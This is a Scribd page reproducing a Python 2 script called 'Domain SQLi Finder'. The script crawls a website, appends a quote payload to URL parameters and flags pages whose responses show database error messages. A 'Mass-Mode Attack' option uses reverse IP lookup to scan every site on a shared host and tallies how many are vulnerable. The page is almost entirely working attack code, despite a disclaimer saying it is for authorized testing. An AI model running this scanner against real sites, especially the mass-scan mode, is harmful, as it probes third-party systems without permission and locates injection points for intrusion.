0% found this document useful (0 votes)
234 views

Domain SQLi Finder - Py

This Python script performs SQL injection vulnerability scanning on websites. It crawls links on a target site, tests unique URLs and parameters for SQL injection vulnerabilities by appending payloads and checking the response for error messages. Any vulnerable links are logged to an output file. The script has options to specify the number of pages to crawl, maximum vulnerable pages to find, and can perform scans on multiple target sites to detect a specified number of vulnerable sites.
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
234 views

Domain SQLi Finder - Py

This Python script performs SQL injection vulnerability scanning on websites. It crawls links on a target site, tests unique URLs and parameters for SQL injection vulnerabilities by appending payloads and checking the response for error messages. Any vulnerable links are logged to an output file. The script has options to specify the number of pages to crawl, maximum vulnerable pages to find, and can perform scans on multiple target sites to detect a specified number of vulnerable sites.
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 13

#!/usr/local/bin/python2.

# This was written for a Penetration Test assessment and is for educational purpose
only. Use it at your own risk.
# Author will be not responsible for any damage!
# Intended for authorized Web Application Pen Testing only!

import chilkat, sys, os, argparse, httplib, urlparse, urllib2, re, time, datetime
import DomainReverseIPLookUp

# The following three variables get their values from command line args, either
take user value or stick with the default ones
pagesToCrawl = "" # Number of pages
to crawl in a website
maxVulInjectableParam = "" # Maximum number
of vulnerable pages (parameters) to find
output = "" # Output
file name - append mode (a)
reverseLookUp = "DSQLiReverseLookUp.txt" # Output file name for
reverseIP lookup - write+ mode (w+)
crawlDump = 'DSQLiCrawlerOutput.txt' # Stores crawling result
for current crawl only - write+ mode (w+)
uniqueLinksDump = 'DSQLiUniqueLinks.txt' # Stores crawling result for
current scan only - write+ mode (w+)
errorDump = 'DSQLiErrorDump.txt' # Dumps handled errors -
append mode (a)
sitesToScan = "" # Stores maximum
number of sites to scan on domain in case of Mass-Mode Attack
maxVulSites = "" # Stores maximum
number of vulnerable sites to find with Mass-Mode Attack

reverseFlag = 0 # Determines
whether reverseLookUp file is generated by script or user supplies it
maxVulSitesFlag = 0 # Keeps
track of how many vulnerable sites have been found in Mass-Mode Attack
verbose = 0 # Determines
what messages to display on screen (0 or 1)

sqlPayload = ["1'"] # SQL


Payloads, add in more here
sqlErrors = [
"Warning",
"mysql_fetch_array()",
"mysql_fetch_object()",
"mysql_num_rows()",
"mysql_free_result()",
"mysql_real_escape_string()",
"mysql_connect()",
"mysql_select_db()",
"mysql_query()",
"You have an error in your SQL syntax",
"Unclosed quotation mark after the character string",
"Server Error in '/' Application",
"Microsoft OLE DB Provider for ODBC Drivers error",
"supplied argument is not a valid OCI8-Statement",
"microsoft jet database engine"
] # add
in more here
# Determine platform and clear screen
def clear_screen():
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform ==
'darwin':
os.system('clear')
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] ==
'ms-dos':
os.system('cls')
else:
pass

# Banner - Set the formatting mororn, it's fucked up atm


def banner():
print """
##################################################################

Domain SQLi Finder - (Error Based Tool-v0.1)


[email protected]

Greetz to:
(www.garage4hackers.com)
GGGGGG\
GG __GG\
GG / \__| aaaaaa\ rrrrrr\ aaaaaa\ gggggg\ eeeeee\
GG |GGGG\ \____aa\ rr __rr\ \____aa\ gg __gg\ ee __ee\
GG |\_GG | aaaaaaa |rr | \__|aaaaaaa |gg / gg |eeeeeeee |
GG | GG |aa __aa |rr | aa __aa |gg | gg |ee ____|
\GGGGGG |\\aaaaaaa |rr | \\aaaaaaa |\ggggggg |\\eeeeeee\
\______/ \_______|\__| \_______| \____gg | \_______|
gg\ gg |
gggggg |
\______/

###################################################################

"""
print "\tUsage: python %s [options]" % sys.argv[0]
print "\t\t-h help\n"
call_exit()

def call_exit():
print "\n\tExiting ...........\n"
sys.exit(0)

# Tests SQLi on all unique links and parameters by appending sqlPayload and
checking the source
def check_SQLi(uniqueUrls):
sqliUrls = []
# This list will contain sorted URLs ready to be appended with sqlPayloads
flag = 0
# Variable to check whether desired 'n' number of vulnerable pages have been
found

for link in uniqueUrls: # This


list has all unique URLs but since a single unique URL might have multiple
parameters
num = link.count("=") # so
this loop prepares URLs with one parameter each
if num > 0:
for x in xrange(num):
x = x + 1
url = link.rsplit("=",x)[0]+"="
sqliUrls.append(url)

sqliUrls = list(set(sqliUrls)) # By
now this list has all injectable parameters ready to append sqlPayload
parsed = urlparse.urlparse(link) # Later used
to obtain website name
now = datetime.datetime.now() # Current
time of scanning to put in DSQLiResults output file

try:
fd_output = open(output, 'a')
fd_output.write("\n\tTarget Site =>\t" + parsed.netloc + "\t(" +
(now.strftime("%Y-%m-%d %H:%M")) + ")\n") # Writing URL base name to
output file
except IOError:
print "\n\t[!] Error - could not open|write file %s \n" % output

if verbose == 1:
print "\n[*] Testing SQLi on following URLs:"
for link in sqliUrls:
print "\t[-] URL: ", link
else:
print "\n[*] Testing SQLi on URL's ....."

# In the following loop, the counter flag plays role to find 'n' number of
vulnerable pages. If limited number of pages
# have to be found, the value of flag counter determines whether script has
found those number of pages or not. Once matches,
# it breaks all loops and come out. Else, if it has not touched the limit but
links in sqliUrls have finished, control comes
# out of all loops. But if (0) i.e. all pages have to be found, flag plays no
considerable role other than incrementing itself.

for link in sqliUrls:


for pload in sqlPayload:
if verbose == 1:
print "\n\n\tTesting: %s\n" % (link+pload)

try:
source = urllib2.urlopen(link+pload).read()
# Appending sqlPayload and reading source for
errors
except urllib2.HTTPError, err:
if err.code == 500:
if verbose == 1:
print "\t\t[!] Error - HTTP Error 500: Internal
Server Error"
print "\t\t[-] Continuing with next link"
continue
else:
if verbose == 1:
print "\t\t[!] Error - HTTP Error xxx"
print "\t\t[-] Continuing with next link"
continue
for errors in sqlErrors:
if re.search(errors, source) != None:
# If any sql error found in source
fd_output.write("\t\t[!] BINGO!!! SQLi Vulnerable " +
link+pload + "\n")
print "\n\t\t[!] BINGO!!! - SQLi FOUND in: %s (%s)
\n" % (link+pload, errors)

if maxVulInjectableParam != 0:
# i.e. if 'n' number of vulnerable
parameters have to be found
if flag < maxVulInjectableParam:
flag = flag + 1
else:
break
else:
# i.e if all vulnerable pages
have to be found
flag = flag + 1
break
else:
if verbose == 1:
print "\t\t[-] Not Vulnerable - String (%s) not
found in response" % errors
else:
pass
if maxVulInjectableParam != 0 and flag == maxVulInjectableParam:
# i.e. if 'n' pages have already been found
break

if maxVulInjectableParam != 0 and flag == maxVulInjectableParam:


# i.e. if 'n' pages have already been found
break

if flag != 0:
print "\n\t[-] Target is vulnerable to SQLi, check log file"
print "\t\t[-] %d injectable vulnerable parameters found" % (flag)

global maxVulSitesFlag
maxVulSitesFlag = maxVulSitesFlag + 1 # Increment
the flag which determines how many vulnerable sites to find in case of Mass-Mode
Attack

else:
print "\n\t[-] Target is not vulnerable to SQLi"
try:
fd_output.write("\t\tTarget is not vulnerable to SQLi attack\n")
fd_output.close()
# Close the file on completion of each URL, so that log
file could be seen for
except IOError:
# result instantly, instead of waiting for whole
script to finish
print "\n\t[!] Error - file I/O error\n"

try:
fd_output.close()
except IOError:
pass
# Just finds the unique URLs from all crawled URLs and saves to list
# Concept is: Parse the URL, find its injectable parameter(s), check the
combination of [netlock, path and injectable parameters] with earlier found
# combinations, if unique, update our uniqueUrls list else goto next URL and parse
it for same procedure
def unique_urls(unsortedUrls):
print "\n[*] Finding unique URL's ....."

list_db = []
# Used as temporary storage to compare parameters
with already found ones
uniqueUrls = []
# This one will finally have unique URLs in it

for link in unsortedUrls:


list_tmp = []
# Temporary list to store query parameters only
try:
parsed = urlparse.urlparse(link)
num = parsed.query.count("=")
# Just checking the parsed.query portion for number of injectable
parameters it has
x = 0

for x in xrange(num):
list_tmp.append(parsed.query.split("&")[x].rsplit("=",1)
[0]) # list_tmp would have all injectable parameters in it as elements
x = x + 1
except IndexError:
# In my case links generate error bcoz they include an external
URl and increase the number of "=" in link.
# accordingly the loop run 1 extra time and generates out of
index error

if verbose == 1:
print "\n\t[!] Error - List Index Out of Order - check %s
and report to author" % (errorDump)

try:
fd_errorDump = open(errorDump, 'a')
fd_errorDump.write("\n\t[*] Error occured inside
unique_urls function for:\t" + parsed.query)
except IOError:
print "\n\t[!] Error - could not open|write file %s \n" %
errorDump
continue

list_tmp = [parsed.netloc, parsed.path, list_tmp]

if list_tmp in list_db:
# For the first URL, this condition would definitely fail
as list_db is empty
continue
# i.e. same parameters but with different values have
been found, so continue
else:
list_db.append(list_tmp)
# Update the found unique parameters
uniqueUrls.append(link)
# Update the List with unique complete URLs

if verbose == 1:
for link in uniqueUrls:
print "\t[-] Unique link found: ", link

try:
fd_uniqueLinkDump = open(uniqueLinksDump, 'a')
for link in uniqueUrls:
fd_uniqueLinkDump.write(link + '\n')
fd_uniqueLinkDump.close()
except IOError:
print "\n\t[!] Error - could not open|write file %s \n" %
uniqueLinksDump

check_SQLi(uniqueUrls)
# Call SQLi check function to test SQLi vulnerability

# Function crawls to find "linksToCrawl" number of pages from URL.


# It stops when limit reaches or no more pages left to crawl, which ever meets the
condition first
def crawl_site(url):
print "[*] Attacking URL -> ", url
print "\t[*] Crawling %s to find injectable parameters" % url

spider = chilkat.CkSpider()
# Using Chilkat Library. Some modules are free.
spider.Initialize(url)
spider.AddUnspidered(url)
spider.CrawlNext()

print "\n\t[-] Website Title: ", spider.lastHtmlTitle()


print "\n\t[-] Crawling Pages",
# The trailing comma to show progress bar in case of non-
verbose

crawlerOutput = []
# This list would have all the linksToCrawl number of
pages of URL

for i in range(0,int(pagesToCrawl)):
success = spider.CrawlNext()
if (success == True):
if verbose == 1:
if i%50 == 0:
print "\n[-] %d percent of %d pages to crawl
complete\n" % ((i*100)/pagesToCrawl, pagesToCrawl)
print "\t", spider.lastUrl()
else:
sys.stdout.flush()
print ".",
# In non verbose case, it prints dot dot dot to show
the progress
crawlerOutput.append(spider.lastUrl())

else:
if (spider.get_NumUnspidered() == 0):
print "\n\t[-] No more URLs to spider"
i = i - 1
# Need to decrement, else gives +1 count for total
pages crawled
break
else:
print spider.lastErrorText()
continue

spider.SleepMs(10)

try:
fd_crawlDump = open(crawlDump, 'a')
# Logs
for link in crawlerOutput:
fd_crawlDump.write(link + '\n')
fd_crawlDump.close()
except IOError:
print "\n\t[!] Error - could not open|write file %s \n" % crawlDump

print "\n\t[-] Crawled %d pages successfully" % (i+1)

if verbose == 1:
print "\n[*] Parsing URL's to collect links with '=' in them ....."

urlsWithParameters = []
# This list would have only those URLs which has '=' in them i.e.
injectable parameter(s)
for link in crawlerOutput:
if link.count("=") > 0:
urlsWithParameters.append(link)

if urlsWithParameters != []:
if verbose == 1:
print "\t[-] Done"
unique_urls(urlsWithParameters)
# Time to find unique URLs among all with '=' in them
else:
print "\n\t[!] No injectable parameter found"
now = datetime.datetime.now()
# Current time to put in DSQLiResults output file
try:
parsed = urlparse.urlparse(url)
fd_output = open(output, 'a')
fd_output.write("\n\tTarget Site =>\t" + parsed.netloc + "\t(" +
(now.strftime("%Y-%m-%d %H:%M")) + ")\n") # Writing URL base name to
output file
fd_output.write("\t\tNo injectable parameter found\n")
fd_output.close()
except IOError:
print "\n\t[!] Error - could not open|write file %s \n" % output

# Function tries to find SQLi on sites on shared hosting


def attack_Domain(durl):
sites = []
counter = 0
# This keeps check on how many sites have been scanned so
far
deadLinks = 0
# This keeps check on how many dead links have been found
print "\n[*] Attacking Domain -> ", durl

if reverseFlag == 0:
# i.e. if --reverse switch is not used on console. That means, do
reverseIP Lookup and generate result
DomainReverseIPLookUp.generate_reverse_lookup(durl, reverseLookUp,
verbose) # pass domain url, output file name and verbose level
try:
fd_reverseLookUp = open(reverseLookUp, 'r')
for url in fd_reverseLookUp.readlines():
sites.append(url)
# List sites contains all the domains hosted on server

except IOError:
print "\n\t[!] Error - %s file missing" % reverseLookUp
print "\t[-] Generate it using --reverse switch or get domains
from some reverse IP lookup website"
call_exit()

elif reverseFlag == 1:
# i.e. if --reverse switch is mentioned, then don't do reverse IP
Lookup and read data from already generated file
try:
fd_reverseLookUp = open(reverseLookUp, 'r')
for url in fd_reverseLookUp.readlines():
sites.append(url)
# List sites contains all the domains hosted on server

except IOError:
print "\n\t[!] Error - %s file missing" % reverseLookUp
print "\t[-] Generate it using --reverse switch or get domains
from some reverse IP lookup website"
call_exit()

if len(sites)%10 != 0:
sites = sites[0:(len(sites)%10)]
else:
sites = sites[0:((len(sites)+2)%10)]

for site in sites:


try:
print "\n\t#################################################"
print "\n\t [-] Number of alive sites scanned so far: ", counter
print "\n\t [-] Number of vulnerable sites found so far: ",
maxVulSitesFlag
print "\n\t [-] Number of dead sites found so far: ", deadLinks
print "\n\t#################################################\n"
if maxVulSites != 0:
# i.e. if not all vulnerable sites are to be found
if maxVulSitesFlag == maxVulSites:
print "\n\t[-] Stopping scan - the required number of
vulnerable sites have been found"
break

if site[:7] != "http://":
# prepend http:// to url, if not already done by user
site = "http://" + site
# what about https site?

site = site[:-1]
# remove \n at the end of each element

print "-"*80
print "\n[*] Target URL - %s ....." % (site)
# Verify URL for its existance
if verify_URL(site) == True:
# Function call to verify URL for existance
print "\t[-] URL Verified\n"
crawl_site(site)
# Pass the site to crawl function
else:
print "\n\t[-] URL %s could not be verified, continuing
with next target in list" % site
deadLinks = deadLinks + 1
continue
except KeyboardInterrupt:
decision = raw_input("\n\t[?] how do you want to proceed?
[(C)ontinue with next target in list or (q)uit]: ")
if decision == 'C' or decision == 'c':
continue
elif decision == 'q':
print "\n[!] Error - user aborted"
call_exit()
else:
print "\n\tEnjoy: oo=========> (|)"
call_exit()

counter = counter + 1
# Counting for only those sites which really got scanned

# for those whose URLs couldn't be verified, not


incrementing counter

print "\n\n[*] Scanning Finished"


print "\n\t[-] Total Number of vulnerable sites found in domain: ",
maxVulSitesFlag
print "\t[-] Check log file %s for result" % output

# Function to verify URL is alive and accessible


def verify_URL(url):
good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY]
# 200, 302, 301 respectively
host, path = urlparse.urlparse(url)[1:3]
# elems [1] and [2] - netloc and path

try:
conn = httplib.HTTPConnection(host)
conn.request('HEAD', path)
status = conn.getresponse().status
conn.close()
except StandardError:
status = None

return status in good_codes


# Either 'True' or 'False'
# Parse command line arguments, allowed combinations and mandatory values
def parseArgs():
parser = argparse.ArgumentParser(description = 'Domain SQLi Finder - Error
Based Tool v0.1', epilog="Report bugs to [email protected] |
www.garage4hackers.com")
parser.add_argument('--verbose', nargs='?', dest='verbose', default=0,
help='set verbosity [0 (default) : Off | 1 : On]', type=int)
parser.add_argument('--output', metavar='output.txt', dest='siteOutput',
default='DSQLiResults.txt', help='output file to store results in
(default=DSQLiResults.txt)')

group1 = parser.add_argument_group('Single-Mode Attack: Target One Site on


Domain')
group1.add_argument('--url', nargs=1, dest='URL', help='target site to find
SQLi')
group1.add_argument('--crawl', nargs='?', dest='crawl', default=500,
help='number of pages to crawl (default=500)', type=int)
group1.add_argument('--pages', nargs='?', dest='pages', default=0,
help='number of vulnerable pages (injectable parameters) to find in site (default=0
i.e. all)', type=int)

# Mind it - In group1 and group2, same paramters "crawl" and "pages" are
used. So on console whether uses --crawl or --dcrawl,
# they would update the same variable "crawl" and ultimately the global
variable pagesToCrawl. Same goes for "pages"

group2 = parser.add_argument_group('Mass-Mode Attack: Target All Sites on


Domain')
group2.add_argument('--durl', nargs=1, dest='DURL', help='target domain to
find SQLi')

group2.add_argument('--sites', nargs='?', dest='sites', default=0, type=int,


help='number of sites to scan on domain (default=0 i.e. all)')
group2.add_argument('--vulsites', nargs='?', dest='vulsites', default=0,
type=int, help='number of vulnerable sites to find on domain (default=0 i.e. all
possible)')
group2.add_argument('--dcrawl', nargs='?', dest='crawl', default=500,
type=int, help='number of pages to crawl in each site (default=500)')
group2.add_argument('--dpages', nargs='?', dest='pages', default=0, type=int,
help='number of vulnerable pages (injectable parameters) to find in each site
(default=0 i.e. all)')
group2.add_argument('--reverse', metavar='output.txt', nargs=1,
dest='reverseLookUp', help='output file to store found sites on server and|or read
Reverse IP Lookup results from file')

args = parser.parse_args()

# Check exclusiveness of options


if (args.URL != None and args.DURL != None):
print "\n\t[!] Error - Mutually exclusive options (--url, --durl)"
call_exit()

# Check existance of at least one option


if (args.URL == None and args.DURL == None):
print "\n\t[!] Error - No mode selected (--url, --durl)"
call_exit()

# Check if value is passed to args. e.g. --crawl without value would pass
"None" to it and program would crash
# all of these switches have default value, so user either don't mention them
on command prompt or must put a value for them
if (args.crawl == None or args.pages == None or args.sites == None or
args.vulsites == None):
print "\n\t[!] Error - Insufficient number of value(s) passed to
argument(s)"
call_exit()

# Check to make sure numeral value of vulsites is less than sites and pages <
crawl
if args.sites < args.vulsites:
print "\n\t[!] Error - kidding? --sites shall be > --vulsites\n"
call_exit()
elif args.crawl < args.pages:
print "\n\t[!] Error - kidding? --(d)crawl shall be > --(d)pages\n"
call_exit()

# Check if switch --reverse is used with --durl only


if ((args.URL != None) and (args.reverseLookUp != None)):
print "\n\t[!] Error - '--reverse' switch goes with Mass-Mode (--durl)
attack only"
call_exit()

global reverseLookUp
# Declaring it here as it's been used couple of times in
this fuction

# Check verbosity (--verbose argument)


if args.verbose != None:
# It would be none only when mentioned without any value
i.e. --verbose <no value>
if args.verbose == 1:
# and if that is the case, the global value of verbose is 0
already, so - verbose off
print "\n[*] Verbose Mode On"
global verbose
# verbose global variable
verbose = 1

if args.URL != None:
# Verbose mode for --url
print "\t[-] Pages to crawl (default=500): ", (args.crawl)
print "\t[-] Vulnerable injectable parameters (pages) to
find in site (default=0 i.e. all): %d" % (args.pages)
print "\t[-] Output file name: %s" % (args.siteOutput)

if args.DURL != None:
# Verbose mode for --durl
print "\t[-] Number of sites to scan on domain (default=0
i.e all): ", (args.sites)
print "\t[-] Number of vulnerable sites to find on domain
(default=0 i.e. all possible): ", (args.vulsites)
print "\t[-] Pages to crawl in each site (default=500): ",
(args.crawl)
print "\t[-] Vulnerable injectable parameters (pages) to
find in each site (default=0 i.e. all): %d" % (args.pages)
if args.reverseLookUp != None:
# i.e. if on console the reverse.txt file names is
mentioned
print "\t[-] Reverse IP Look-up file needed to read
domains from: %s" % (args.reverseLookUp[0])
else:
print "\t[-] Reverse IP Look-up output file: %s" %
reverseLookUp

print "\t[-] Final result output file: %s" %


(args.siteOutput)

else:
# i.e. if value 0 is passed to --verbose
print "\n[*] Verbose Mode Off"
else:
# i.e. verbose has None Value, it's been passed
without value
print "\n[*] Vebose Mode Off (by default)"

# By this point, either of --url, --durl or --aurl switch is enable


# Following assignments are for --url, --durl - see if you wish to put only
relevant one and take rest in if args.DURL != None
# It's OK with current "common" crawl and pages parameters. If I assign
parameter separately for --url and --durl then first I
# would need to define "dcrawl" and "dpages" and use them in combination with
--durl
global pagesToCrawl
pagesToCrawl = args.crawl
global maxVulInjectableParam
maxVulInjectableParam = args.pages
global output
output = args.siteOutput
global sitesToScan
sitesToScan = args.sites
global maxVulSites
maxVulSites = args.vulsites

# Single-Mode Attack (--url argument)


if args.URL != None:
if args.URL[0][:7] != "http://":
# prepend http:// to url, if not already done by user
args.URL[0] = "http://"+args.URL[0]
# what about https site?

print "\n[*] Verifying URL....."


# Verify URL for its existance
if verify_URL(args.URL[0]) == True:
# Function call to verify URL for existance
print "\t[-] URL Verified\n"
crawl_site(args.URL[0])
# Goto the function which deals with 1 URL
else:
print "\n\t[-] URL cound not be verified."
call_exit()

# Mass-Mode Attack (--durl argument)


elif args.DURL != None:
if args.DURL[0][:7] != "http://":
args.DURL[0] = "http://"+args.DURL[0]
# reverseLookUp doesn't have default value, so if not mentioned on
console, it will be None. If not None, that means user wants to read reverse look-
up
# which is already generated file, either using this code or copied
from somewhere. In that case, i/p file must reside in same directory
if args.reverseLookUp != None:
reverseLookUp = args.reverseLookUp[0]

global reverseFlag
# Determines whether reverseLookUp file is generated by
script or user supplies it
reverseFlag = 1
attack_Domain(args.DURL[0])

else:
# i.e. --reverse is not mentioned on command prompt. Our
code shall generate one.
print "\n[*] Verifying Domain - %s ....." % (args.DURL[0])
if verify_URL(args.DURL[0]) == True:
print "\t[-] Domain Verified\n"
attack_Domain(args.DURL[0])
else:
print "\n\t[-] Domain cound not be verified."
call_exit()

def main():
#clear_screen()
if len(sys.argv) < 2:
banner()

parseArgs()
# Parse command line arguments
call_exit()

# ---------------------------------------- Code execution starts here


-------------------------------------
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print "\n[!] Error - user aborted"
call_exit()

You might also like